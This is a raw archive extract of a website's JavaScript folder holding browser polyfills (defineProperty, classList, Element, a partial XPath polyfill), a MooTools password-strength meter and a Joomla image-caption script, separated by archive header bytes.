 * @license    MIT License, https://github.com/Financial-Times/polyfill-service/blob/master/LICENSE.md
 */

(function(undefined) {
if (!(// In IE8, defineProperty could only act on DOM elements, so full support
// for the feature requires the ability to set a property on an arbitrary object
'defineProperty' in Object && (function() {
	try {
		var a = {};
		Object.defineProperty(a, 'test', {value:42});
		return true;
	} catch(e) {
		return false
	}
}()))) {

// Object.defineProperty
(function (nativeDefineProperty) {

	var supportsAccessors = Object.prototype.hasOwnProperty('__defineGetter__');
	var ERR_ACCESSORS_NOT_SUPPORTED = 'Getters & setters cannot be defined on this javascript engine';
	var ERR_VALUE_ACCESSORS = 'A property cannot both have accessors and be writable or have a value';

	Object.defineProperty = function defineProperty(object, property, descriptor) {

		// Where native support exists, assume it
		if (nativeDefineProperty && (object === window || object === document || object === Element.prototype || object instanceof Element)) {
			return nativeDefineProperty(object, property, descriptor);
		}

		if (object === null || !(object instanceof Object || typeof object === 'object')) {
			throw new TypeError('Object must be an object (Object.defineProperty polyfill)');
		}

		if (!(descriptor instanceof Object)) {
			throw new TypeError('Descriptor must be an object (Object.defineProperty polyfill)');
		}

		var propertyString = String(property);
		var hasValueOrWritable = 'value' in descriptor || 'writable' in descriptor;
		var getterType = 'get' in descriptor && typeof descriptor.get;
		var setterType = 'set' in descriptor && typeof descriptor.set;

		// handle descriptor.get
		if (getterType) {
			if (getterType !== 'function') {
				throw new TypeError('Getter expected a function (Object.defineProperty polyfill)');
			}
			if (!supportsAccessors) {
				throw new TypeError(ERR_ACCESSORS_NOT_SUPPORTED);
			}
			if (hasValueOrWritable) {
				throw new TypeError(ERR_VALUE_ACCESSORS);
			}
			object.__defineGetter__(propertyString, descriptor.get);
		} else {
			object[propertyString] = descriptor.value;
		}

		// handle descriptor.set
		if (setterType) {
			if (setterType !== 'function') {
				throw new TypeError('Setter expected a function (Object.defineProperty polyfill)');
			}
			if (!supportsAccessors) {
				throw new TypeError(ERR_ACCESSORS_NOT_SUPPORTED);
			}
			if (hasValueOrWritable) {
				throw new TypeError(ERR_VALUE_ACCESSORS);
			}
			object.__defineSetter__(propertyString, descriptor.set);
		}

		// OK to define value unconditionally - if a getter has been specified as well, an error would be thrown above
		if ('value' in descriptor) {
			object[propertyString] = descriptor.value;
		}

		return object;
	};
}(Object.defineProperty));

}


// _DOMTokenList
var _DOMTokenList = (function () { // eslint-disable-line no-unused-vars

	function tokenize(token) {
		if (/^-?[_a-zA-Z]+[_a-zA-Z0-9-]*$/.test(token)) {
			return String(token);
		} else {
			throw new Error('InvalidCharacterError: DOM Exception 5');
		}
	}

	function toObject(self) {
		for (var index = -1, object = {}, element; element = self[++index];) {
			object[element] = true;
		}

		return object;
	}

	function fromObject(self, object) {
		var array = [], token;

		for (token in object) {
			if (object[token]) {
				array.push(token);
			}
		}

		[].splice.apply(self, [0, self.length].concat(array));
	}

	var DTL = function() {};

	DTL.prototype = {
		constructor: DTL,
		item: function item(index) {
			return this[parseFloat(index)] || null;
		},
		length: Array.prototype.length,
		toString: function toString() {
			return [].join.call(this, ' ');
		},

		add: function add() {
			for (var object = toObject(this), index = 0, token; index in arguments; ++index) {
				token = tokenize(arguments[index]);

				object[token] = true;
			}

			fromObject(this, object);
		},
		contains: function contains(token) {
			return token in toObject(this);
		},
		remove: function remove() {
			for (var object = toObject(this), index = 0, token; index in arguments; ++index) {
				token = tokenize(arguments[index]);

				object[token] = false;
			}

			fromObject(this, object);
		},
		toggle: function toggle(token) {
			var
			object = toObject(this),
			contains = 1 in arguments ? !arguments[1] : tokenize(token) in object;

			object[token] = !contains;

			fromObject(this, object);

			return !contains;
		}
	};

	return DTL;

}());
if (!("Document" in this)) {

// Document
if (this.HTMLDocument) { // IE8

	// HTMLDocument is an extension of Document.  If the browser has HTMLDocument but not Document, the former will suffice as an alias for the latter.
	this.Document = this.HTMLDocument;

} else {

	// Create an empty function to act as the missing constructor for the document object, attach the document object as its prototype.  The function needs to be anonymous else it is hoisted and causes the feature detect to prematurely pass, preventing the assignments below being made.
	this.Document = this.HTMLDocument = document.constructor = (new Function('return function Document() {}')());
	this.Document.prototype = document;
}

}

if (!('Element' in this && 'HTMLElement' in this)) {

// Element
(function () {

	// IE8
	if (window.Element && !window.HTMLElement) {
		window.HTMLElement = window.Element;
		return;
	}

	// create Element constructor
	window.Element = window.HTMLElement = new Function('return function Element() {}')();

	// generate sandboxed iframe
	var vbody = document.appendChild(document.createElement('body'));
	var frame = vbody.appendChild(document.createElement('iframe'));

	// use sandboxed iframe to replicate Element functionality
	var frameDocument = frame.contentWindow.document;
	var prototype = Element.prototype = frameDocument.appendChild(frameDocument.createElement('*'));
	var cache = {};

	// polyfill Element.prototype on an element
	var shiv = function (element, deep) {
		var
		childNodes = element.childNodes || [],
		index = -1,
		key, value, childNode;

		if (element.nodeType === 1 && element.constructor !== Element) {
			element.constructor = Element;

			for (key in cache) {
				value = cache[key];
				element[key] = value;
			}
		}

		while (childNode = deep && childNodes[++index]) {
			shiv(childNode, deep);
		}

		return element;
	};

	var elements = document.getElementsByTagName('*');
	var nativeCreateElement = document.createElement;
	var interval;
	var loopLimit = 100;

	prototype.attachEvent('onpropertychange', function (event) {
		var
		propertyName = event.propertyName,
		nonValue = !cache.hasOwnProperty(propertyName),
		newValue = prototype[propertyName],
		oldValue = cache[propertyName],
		index = -1,
		element;

		while (element = elements[++index]) {
			if (element.nodeType === 1) {
				if (nonValue || element[propertyName] === oldValue) {
					element[propertyName] = newValue;
				}
			}
		}

		cache[propertyName] = newValue;
	});

	prototype.constructor = Element;

	if (!prototype.hasAttribute) {
		// <Element>.hasAttribute
		prototype.hasAttribute = function hasAttribute(name) {
			return this.getAttribute(name) !== null;
		};
	}

	// Apply Element prototype to the pre-existing DOM as soon as the body element appears.
	function bodyCheck() {
		if (!(loopLimit--)) clearTimeout(interval);
		if (document.body && !document.body.prototype && /(complete|interactive)/.test(document.readyState)) {
			shiv(document, true);
			if (interval && document.body.prototype) clearTimeout(interval);
			return (!!document.body.prototype);
		}
		return false;
	}
	if (!bodyCheck(true)) {
		document.onreadystatechange = bodyCheck;
		interval = setInterval(bodyCheck, 25);
	}

	// Apply to any new elements created after load
	document.createElement = function createElement(nodeName) {
		var element = nativeCreateElement(String(nodeName).toLowerCase());
		return shiv(element);
	};

	// remove sandboxed iframe
	document.removeChild(vbody);
}());

}

if (!('document' in this && "classList" in document.documentElement)) {

// Element.prototype.classList
Object.defineProperty(Element.prototype, 'classList', {
	configurable: true,
	get: function () {

		function pull() {
			var className = (typeof element.className === "object" ? element.className.baseVal : element.className);
			[].splice.apply(classList, [0, classList.length].concat((className || '').replace(/^\s+|\s+$/g, '').split(/\s+/)));
		}

		function push() {
			if (element.attachEvent) {
				element.detachEvent('onpropertychange', pull);
			}

			if (typeof element.className === "object") {
				element.className.baseVal = original.toString.call(classList);
			} else {
				element.className = original.toString.call(classList);
			}

			if (element.attachEvent) {
				element.attachEvent('onpropertychange', pull);
			}
		}

		var element = this;
		var original = _DOMTokenList.prototype;
		var ClassList = function ClassList() {};
		var classList;

		ClassList.prototype = new _DOMTokenList;

		ClassList.prototype.item = function item(index) { // eslint-disable-line no-unused-vars
			return pull(), original.item.apply(classList, arguments);
		};

		ClassList.prototype.toString = function toString() {
			return pull(), original.toString.apply(classList, arguments);
		};

		ClassList.prototype.add = function add() {
			return pull(), original.add.apply(classList, arguments), push();
		};

		ClassList.prototype.contains = function contains(token) { // eslint-disable-line no-unused-vars
			return pull(), original.contains.apply(classList, arguments);
		};

		ClassList.prototype.remove = function remove() {
			return pull(), original.remove.apply(classList, arguments), push();
		};

		ClassList.prototype.toggle = function toggle(token) {
			return pull(), token = original.toggle.apply(classList, arguments), push(), token;
		};

		classList = new ClassList;

		if (element.attachEvent) {
			element.attachEvent('onpropertychange', pull);
		}

		return classList;
	}
});

}


})
.call('object' === typeof window && window || 'object' === typeof self && self || 'object' === typeof global && global || {});
PK!���H		js/passwordstrength.jsnu�[���/*
---
description: Form.PasswordStrength class, and basic dom methods

license: MIT-style

authors:
 - Al Kent

requires:
 - core/1.3.1: '*'

provides:
 - Form.PasswordStrength
 - Element.Events.keyupandchange
 - String.strength
...
*/

if (!this.Form) this.Form = {};

Form.PasswordStrength = new Class({
	
	Implements: [Options, Events],
	
	options: {
		//onUpdate: $empty,
		threshold: 66,
		primer: '',
		height: 5,
		opacity: 1,
		bgcolor: 'transparent'
	},
	
	element: null,
	fx: null,
	
	initialize: function(el, options){
		this.element = document.id(el);
		this.setOptions(options);
		if (this.options.primer) this.options.threshold = this.options.primer.strength();
		var coord = this.element.getCoordinates();
		var bar = new Element('div', {
			styles: {
				'width': coord.width,
				'height': this.options.height,
				'opacity': this.options.opacity,
				'background-color': this.options.bgcolor
			}
		}).inject(this.element, 'after');
		var meter = new Element('div', {
			styles: {
				'width': 0,
				'height': '100%'
			}
		}).inject(bar);
		this.fx = new Fx.Morph(meter, {
			duration: 'short',
			link: 'cancel',
			unit: '%'
		});
		this.element.addEvent('keyupandchange', this.animate.bind(this));
		if (this.element.get('value')) this.animate();
	},
	
	animate: function(){
		var value = this.element.get('value');
		var color, strength = value.strength(), ratio = (strength / this.options.threshold).round(2).limit(0, 1);
		if (ratio < 0.5) color = ('rgb(255, ' + (255 * ratio * 2).round() + ', 0)').rgbToHex();
		else color = ('rgb(' + (255 * (1 - ratio) * 2).round() + ', 255, 0)').rgbToHex();
		this.fx.start({
			'width': 100 * ratio,
			'background-color': color
		});
		this.fireEvent('update', [this.element, strength, this.options.threshold]);
	}
});

Element.Events.keyupandchange = {
	base: 'keyup',
	condition: function(event){
		var prev = this.retrieve('prev', null);
		var cur = this.get('value');
		if (typeOf(prev) != 'null' && prev == cur) return false;
		this.store('prev', cur);
		return true;
	}
};

String.implement({
	strength: function(){
		var n = 0;
		if (this.match(/\d/)) n += 10;
		if (this.match(/[a-z]+/)) n += 26;
		if (this.match(/[A-Z]+/)) n += 26;
		if (this.match(/[^\da-zA-Z]/)) n += 33;
		return (n == 0) ? 0 : (this.length * n.log() / (2).log()).round();
	}
});
PK!����
js/caption.jsnu�[���/*
        GNU General Public License version 2 or later; see LICENSE.txt
*/
var JCaption=function(c){var e,b,a=function(f){e=jQuery.noConflict();b=f;e(b).each(function(g,h){d(h)})},d=function(i){var h=e(i),f=h.attr("title"),j=h.attr("width")||i.width,l=h.attr("align")||h.css("float")||i.style.styleFloat||"none",g=e("<p/>",{text:f,"class":b.replace(".","_")}),k=e("<div/>",{"class":b.replace(".","_")+" "+l,css:{"float":l,width:j}});h.before(k);k.append(h);if(f!==""){k.append(g)}};a(c)};
PK!�a�+ssjs/polyfill.xpath.jsnu�[���(function(undefined) {
    if (!('evaluate' in Array.prototype)) {
(function(){'use strict';var k=this;
    function aa(a){var b=typeof a;if("object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if("[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("call"))return"function"}else return"null";else if("function"==
        b&&"undefined"==typeof a.call)return"object";return b}function l(a){return"string"==typeof a}function ba(a,b,c){return a.call.apply(a.bind,arguments)}function ca(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}}
    function da(a,b,c){da=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?ba:ca;return da.apply(null,arguments)}function ea(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var b=c.slice();b.push.apply(b,arguments);return a.apply(this,b)}}
    function m(a){var b=n;function c(){}c.prototype=b.prototype;a.G=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.F=function(a,c,f){for(var g=Array(arguments.length-2),h=2;h<arguments.length;h++)g[h-2]=arguments[h];return b.prototype[c].apply(a,g)}};/*

     The MIT License

     Copyright (c) 2007 Cybozu Labs, Inc.
     Copyright (c) 2012 Google Inc.

     Permission is hereby granted, free of charge, to any person obtaining a copy
     of this software and associated documentation files (the "Software"), to
     deal in the Software without restriction, including without limitation the
     rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
     sell copies of the Software, and to permit persons to whom the Software is
     furnished to do so, subject to the following conditions:

     The above copyright notice and this permission notice shall be included in
     all copies or substantial portions of the Software.

     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
     IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
     FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
     AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
     LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
     IN THE SOFTWARE.
     */
    var fa=String.prototype.trim?function(a){return a.trim()}:function(a){return a.replace(/^[\s\xa0]+|[\s\xa0]+$/g,"")};function q(a,b){return-1!=a.indexOf(b)}function ga(a,b){return a<b?-1:a>b?1:0};var ha=Array.prototype.indexOf?function(a,b,c){return Array.prototype.indexOf.call(a,b,c)}:function(a,b,c){c=null==c?0:0>c?Math.max(0,a.length+c):c;if(l(a))return l(b)&&1==b.length?a.indexOf(b,c):-1;for(;c<a.length;c++)if(c in a&&a[c]===b)return c;return-1},r=Array.prototype.forEach?function(a,b,c){Array.prototype.forEach.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=l(a)?a.split(""):a,f=0;f<d;f++)f in e&&b.call(c,e[f],f,a)},ia=Array.prototype.filter?function(a,b,c){return Array.prototype.filter.call(a,
        b,c)}:function(a,b,c){for(var d=a.length,e=[],f=0,g=l(a)?a.split(""):a,h=0;h<d;h++)if(h in g){var p=g[h];b.call(c,p,h,a)&&(e[f++]=p)}return e},t=Array.prototype.reduce?function(a,b,c,d){d&&(b=da(b,d));return Array.prototype.reduce.call(a,b,c)}:function(a,b,c,d){var e=c;r(a,function(c,g){e=b.call(d,e,c,g,a)});return e},ja=Array.prototype.some?function(a,b,c){return Array.prototype.some.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=l(a)?a.split(""):a,f=0;f<d;f++)if(f in e&&b.call(c,e[f],f,a))return!0;
        return!1};function ka(a,b){a:{for(var c=a.length,d=l(a)?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a)){b=e;break a}b=-1}return 0>b?null:l(a)?a.charAt(b):a[b]}function la(a){return Array.prototype.concat.apply(Array.prototype,arguments)}function ma(a,b,c){return 2>=arguments.length?Array.prototype.slice.call(a,b):Array.prototype.slice.call(a,b,c)};var u;a:{var na=k.navigator;if(na){var oa=na.userAgent;if(oa){u=oa;break a}}u=""};var pa=q(u,"Opera"),v=q(u,"Trident")||q(u,"MSIE"),qa=q(u,"Edge"),ra=q(u,"Gecko")&&!(q(u.toLowerCase(),"webkit")&&!q(u,"Edge"))&&!(q(u,"Trident")||q(u,"MSIE"))&&!q(u,"Edge"),sa=q(u.toLowerCase(),"webkit")&&!q(u,"Edge");function ta(){var a=k.document;return a?a.documentMode:void 0}var ua;
    a:{var va="",wa=function(){var a=u;if(ra)return/rv\:([^\);]+)(\)|;)/.exec(a);if(qa)return/Edge\/([\d\.]+)/.exec(a);if(v)return/\b(?:MSIE|rv)[: ]([^\);]+)(\)|;)/.exec(a);if(sa)return/WebKit\/(\S+)/.exec(a);if(pa)return/(?:Version)[ \/]?(\S+)/.exec(a)}();wa&&(va=wa?wa[1]:"");if(v){var xa=ta();if(null!=xa&&xa>parseFloat(va)){ua=String(xa);break a}}ua=va}var ya={};
    function za(a){if(!ya[a]){for(var b=0,c=fa(String(ua)).split("."),d=fa(String(a)).split("."),e=Math.max(c.length,d.length),f=0;0==b&&f<e;f++){var g=c[f]||"",h=d[f]||"",p=/(\d*)(\D*)/g,x=/(\d*)(\D*)/g;do{var D=p.exec(g)||["","",""],X=x.exec(h)||["","",""];if(0==D[0].length&&0==X[0].length)break;b=ga(0==D[1].length?0:parseInt(D[1],10),0==X[1].length?0:parseInt(X[1],10))||ga(0==D[2].length,0==X[2].length)||ga(D[2],X[2])}while(0==b)}ya[a]=0<=b}}
    var Aa=k.document,Ba=Aa&&v?ta()||("CSS1Compat"==Aa.compatMode?parseInt(ua,10):5):void 0;!ra&&!v||v&&9<=Number(Ba)||ra&&za("1.9.1");v&&za("9");function Ca(a,b){if(!a||!b)return!1;if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a}
    function Da(a,b){if(a==b)return 0;if(a.compareDocumentPosition)return a.compareDocumentPosition(b)&2?1:-1;if(v&&!(9<=Number(Ba))){if(9==a.nodeType)return-1;if(9==b.nodeType)return 1}if("sourceIndex"in a||a.parentNode&&"sourceIndex"in a.parentNode){var c=1==a.nodeType,d=1==b.nodeType;if(c&&d)return a.sourceIndex-b.sourceIndex;var e=a.parentNode,f=b.parentNode;return e==f?Ea(a,b):!c&&Ca(e,b)?-1*Fa(a,b):!d&&Ca(f,a)?Fa(b,a):(c?a.sourceIndex:e.sourceIndex)-(d?b.sourceIndex:f.sourceIndex)}d=9==a.nodeType?
        a:a.ownerDocument||a.document;c=d.createRange();c.selectNode(a);c.collapse(!0);a=d.createRange();a.selectNode(b);a.collapse(!0);return c.compareBoundaryPoints(k.Range.START_TO_END,a)}function Fa(a,b){var c=a.parentNode;if(c==b)return-1;for(;b.parentNode!=c;)b=b.parentNode;return Ea(b,a)}function Ea(a,b){for(;b=b.previousSibling;)if(b==a)return-1;return 1};var w=v&&!(9<=Number(Ba)),Ga=v&&!(8<=Number(Ba));function y(a,b,c,d){this.a=a;this.nodeName=c;this.nodeValue=d;this.nodeType=2;this.parentNode=this.ownerElement=b}function Ha(a,b){var c=Ga&&"href"==b.nodeName?a.getAttribute(b.nodeName,2):b.nodeValue;return new y(b,a,b.nodeName,c)};function z(a){var b=null,c=a.nodeType;1==c&&(b=a.textContent,b=void 0==b||null==b?a.innerText:b,b=void 0==b||null==b?"":b);if("string"!=typeof b)if(w&&"title"==a.nodeName.toLowerCase()&&1==c)b=a.text;else if(9==c||1==c){a=9==c?a.documentElement:a.firstChild;for(var c=0,d=[],b="";a;){do 1!=a.nodeType&&(b+=a.nodeValue),w&&"title"==a.nodeName.toLowerCase()&&(b+=a.text),d[c++]=a;while(a=a.firstChild);for(;c&&!(a=d[--c].nextSibling););}}else b=a.nodeValue;return""+b}
    function A(a,b,c){if(null===b)return!0;try{if(!a.getAttribute)return!1}catch(d){return!1}Ga&&"class"==b&&(b="className");return null==c?!!a.getAttribute(b):a.getAttribute(b,2)==c}function B(a,b,c,d,e){return(w?Ia:Ja).call(null,a,b,l(c)?c:null,l(d)?d:null,e||new C)}
    function Ia(a,b,c,d,e){if(a instanceof E||8==a.b||c&&null===a.b){var f=b.all;if(!f)return e;a=Ka(a);if("*"!=a&&(f=b.getElementsByTagName(a),!f))return e;if(c){for(var g=[],h=0;b=f[h++];)A(b,c,d)&&g.push(b);f=g}for(h=0;b=f[h++];)"*"==a&&"!"==b.tagName||F(e,b);return e}La(a,b,c,d,e);return e}
    function Ja(a,b,c,d,e){b.getElementsByName&&d&&"name"==c&&!v?(b=b.getElementsByName(d),r(b,function(b){a.a(b)&&F(e,b)})):b.getElementsByClassName&&d&&"class"==c?(b=b.getElementsByClassName(d),r(b,function(b){b.className==d&&a.a(b)&&F(e,b)})):a instanceof G?La(a,b,c,d,e):b.getElementsByTagName&&(b=b.getElementsByTagName(a.f()),r(b,function(a){A(a,c,d)&&F(e,a)}));return e}
    function Ma(a,b,c,d,e){var f;if((a instanceof E||8==a.b||c&&null===a.b)&&(f=b.childNodes)){var g=Ka(a);if("*"!=g&&(f=ia(f,function(a){return a.tagName&&a.tagName.toLowerCase()==g}),!f))return e;c&&(f=ia(f,function(a){return A(a,c,d)}));r(f,function(a){"*"==g&&("!"==a.tagName||"*"==g&&1!=a.nodeType)||F(e,a)});return e}return Na(a,b,c,d,e)}function Na(a,b,c,d,e){for(b=b.firstChild;b;b=b.nextSibling)A(b,c,d)&&a.a(b)&&F(e,b);return e}
    function La(a,b,c,d,e){for(b=b.firstChild;b;b=b.nextSibling)A(b,c,d)&&a.a(b)&&F(e,b),La(a,b,c,d,e)}function Ka(a){if(a instanceof G){if(8==a.b)return"!";if(null===a.b)return"*"}return a.f()};function C(){this.b=this.a=null;this.l=0}function Oa(a){this.node=a;this.a=this.b=null}function Pa(a,b){if(!a.a)return b;if(!b.a)return a;var c=a.a;b=b.a;for(var d=null,e,f=0;c&&b;){e=c.node;var g=b.node;e==g||e instanceof y&&g instanceof y&&e.a==g.a?(e=c,c=c.a,b=b.a):0<Da(c.node,b.node)?(e=b,b=b.a):(e=c,c=c.a);(e.b=d)?d.a=e:a.a=e;d=e;f++}for(e=c||b;e;)e.b=d,d=d.a=e,f++,e=e.a;a.b=d;a.l=f;return a}function Qa(a,b){b=new Oa(b);b.a=a.a;a.b?a.a.b=b:a.a=a.b=b;a.a=b;a.l++}
    function F(a,b){b=new Oa(b);b.b=a.b;a.a?a.b.a=b:a.a=a.b=b;a.b=b;a.l++}function Ra(a){return(a=a.a)?a.node:null}function Sa(a){return(a=Ra(a))?z(a):""}function H(a,b){return new Ta(a,!!b)}function Ta(a,b){this.f=a;this.b=(this.c=b)?a.b:a.a;this.a=null}function I(a){var b=a.b;if(null==b)return null;var c=a.a=b;a.b=a.c?b.b:b.a;return c.node};function n(a){this.i=a;this.b=this.g=!1;this.f=null}function J(a){return"\n  "+a.toString().split("\n").join("\n  ")}function Ua(a,b){a.g=b}function Va(a,b){a.b=b}function K(a,b){a=a.a(b);return a instanceof C?+Sa(a):+a}function L(a,b){a=a.a(b);return a instanceof C?Sa(a):""+a}function M(a,b){a=a.a(b);return a instanceof C?!!a.l:!!a};function N(a,b,c){n.call(this,a.i);this.c=a;this.h=b;this.o=c;this.g=b.g||c.g;this.b=b.b||c.b;this.c==Wa&&(c.b||c.g||4==c.i||0==c.i||!b.f?b.b||b.g||4==b.i||0==b.i||!c.f||(this.f={name:c.f.name,s:b}):this.f={name:b.f.name,s:c})}m(N);
    function O(a,b,c,d,e){b=b.a(d);c=c.a(d);var f;if(b instanceof C&&c instanceof C){b=H(b);for(d=I(b);d;d=I(b))for(e=H(c),f=I(e);f;f=I(e))if(a(z(d),z(f)))return!0;return!1}if(b instanceof C||c instanceof C){b instanceof C?(e=b,d=c):(e=c,d=b);f=H(e);for(var g=typeof d,h=I(f);h;h=I(f)){switch(g){case "number":h=+z(h);break;case "boolean":h=!!z(h);break;case "string":h=z(h);break;default:throw Error("Illegal primitive type for comparison.");}if(e==b&&a(h,d)||e==c&&a(d,h))return!0}return!1}return e?"boolean"==
    typeof b||"boolean"==typeof c?a(!!b,!!c):"number"==typeof b||"number"==typeof c?a(+b,+c):a(b,c):a(+b,+c)}N.prototype.a=function(a){return this.c.m(this.h,this.o,a)};N.prototype.toString=function(){var a="Binary Expression: "+this.c,a=a+J(this.h);return a+=J(this.o)};function Xa(a,b,c,d){this.a=a;this.w=b;this.i=c;this.m=d}Xa.prototype.toString=function(){return this.a};var Ya={};
    function P(a,b,c,d){if(Ya.hasOwnProperty(a))throw Error("Binary operator already created: "+a);a=new Xa(a,b,c,d);return Ya[a.toString()]=a}P("div",6,1,function(a,b,c){return K(a,c)/K(b,c)});P("mod",6,1,function(a,b,c){return K(a,c)%K(b,c)});P("*",6,1,function(a,b,c){return K(a,c)*K(b,c)});P("+",5,1,function(a,b,c){return K(a,c)+K(b,c)});P("-",5,1,function(a,b,c){return K(a,c)-K(b,c)});P("<",4,2,function(a,b,c){return O(function(a,b){return a<b},a,b,c)});
    P(">",4,2,function(a,b,c){return O(function(a,b){return a>b},a,b,c)});P("<=",4,2,function(a,b,c){return O(function(a,b){return a<=b},a,b,c)});P(">=",4,2,function(a,b,c){return O(function(a,b){return a>=b},a,b,c)});var Wa=P("=",3,2,function(a,b,c){return O(function(a,b){return a==b},a,b,c,!0)});P("!=",3,2,function(a,b,c){return O(function(a,b){return a!=b},a,b,c,!0)});P("and",2,2,function(a,b,c){return M(a,c)&&M(b,c)});P("or",1,2,function(a,b,c){return M(a,c)||M(b,c)});function Q(a,b,c){this.a=a;this.b=b||1;this.f=c||1};function Za(a,b){if(b.a.length&&4!=a.i)throw Error("Primary expression must evaluate to nodeset if filter has predicate(s).");n.call(this,a.i);this.c=a;this.h=b;this.g=a.g;this.b=a.b}m(Za);Za.prototype.a=function(a){a=this.c.a(a);return $a(this.h,a)};Za.prototype.toString=function(){var a;a="Filter:"+J(this.c);return a+=J(this.h)};function ab(a,b){if(b.length<a.A)throw Error("Function "+a.j+" expects at least"+a.A+" arguments, "+b.length+" given");if(null!==a.v&&b.length>a.v)throw Error("Function "+a.j+" expects at most "+a.v+" arguments, "+b.length+" given");a.B&&r(b,function(b,d){if(4!=b.i)throw Error("Argument "+d+" to function "+a.j+" is not of type Nodeset: "+b);});n.call(this,a.i);this.h=a;this.c=b;Ua(this,a.g||ja(b,function(a){return a.g}));Va(this,a.D&&!b.length||a.C&&!!b.length||ja(b,function(a){return a.b}))}m(ab);
    ab.prototype.a=function(a){return this.h.m.apply(null,la(a,this.c))};ab.prototype.toString=function(){var a="Function: "+this.h;if(this.c.length)var b=t(this.c,function(a,b){return a+J(b)},"Arguments:"),a=a+J(b);return a};function bb(a,b,c,d,e,f,g,h,p){this.j=a;this.i=b;this.g=c;this.D=d;this.C=e;this.m=f;this.A=g;this.v=void 0!==h?h:g;this.B=!!p}bb.prototype.toString=function(){return this.j};var cb={};
    function R(a,b,c,d,e,f,g,h){if(cb.hasOwnProperty(a))throw Error("Function already created: "+a+".");cb[a]=new bb(a,b,c,d,!1,e,f,g,h)}R("boolean",2,!1,!1,function(a,b){return M(b,a)},1);R("ceiling",1,!1,!1,function(a,b){return Math.ceil(K(b,a))},1);R("concat",3,!1,!1,function(a,b){return t(ma(arguments,1),function(b,d){return b+L(d,a)},"")},2,null);R("contains",2,!1,!1,function(a,b,c){return q(L(b,a),L(c,a))},2);R("count",1,!1,!1,function(a,b){return b.a(a).l},1,1,!0);
    R("false",2,!1,!1,function(){return!1},0);R("floor",1,!1,!1,function(a,b){return Math.floor(K(b,a))},1);R("id",4,!1,!1,function(a,b){function c(a){if(w){var b=e.all[a];if(b){if(b.nodeType&&a==b.id)return b;if(b.length)return ka(b,function(b){return a==b.id})}return null}return e.getElementById(a)}var d=a.a,e=9==d.nodeType?d:d.ownerDocument;a=L(b,a).split(/\s+/);var f=[];r(a,function(a){a=c(a);!a||0<=ha(f,a)||f.push(a)});f.sort(Da);var g=new C;r(f,function(a){F(g,a)});return g},1);
    R("lang",2,!1,!1,function(){return!1},1);R("last",1,!0,!1,function(a){if(1!=arguments.length)throw Error("Function last expects ()");return a.f},0);R("local-name",3,!1,!0,function(a,b){return(a=b?Ra(b.a(a)):a.a)?a.localName||a.nodeName.toLowerCase():""},0,1,!0);R("name",3,!1,!0,function(a,b){return(a=b?Ra(b.a(a)):a.a)?a.nodeName.toLowerCase():""},0,1,!0);R("namespace-uri",3,!0,!1,function(){return""},0,1,!0);
    R("normalize-space",3,!1,!0,function(a,b){return(b?L(b,a):z(a.a)).replace(/[\s\xa0]+/g," ").replace(/^\s+|\s+$/g,"")},0,1);R("not",2,!1,!1,function(a,b){return!M(b,a)},1);R("number",1,!1,!0,function(a,b){return b?K(b,a):+z(a.a)},0,1);R("position",1,!0,!1,function(a){return a.b},0);R("round",1,!1,!1,function(a,b){return Math.round(K(b,a))},1);R("starts-with",2,!1,!1,function(a,b,c){b=L(b,a);a=L(c,a);return 0==b.lastIndexOf(a,0)},2);R("string",3,!1,!0,function(a,b){return b?L(b,a):z(a.a)},0,1);
    R("string-length",1,!1,!0,function(a,b){return(b?L(b,a):z(a.a)).length},0,1);R("substring",3,!1,!1,function(a,b,c,d){c=K(c,a);if(isNaN(c)||Infinity==c||-Infinity==c)return"";d=d?K(d,a):Infinity;if(isNaN(d)||-Infinity===d)return"";c=Math.round(c)-1;var e=Math.max(c,0);a=L(b,a);return Infinity==d?a.substring(e):a.substring(e,c+Math.round(d))},2,3);R("substring-after",3,!1,!1,function(a,b,c){b=L(b,a);a=L(c,a);c=b.indexOf(a);return-1==c?"":b.substring(c+a.length)},2);
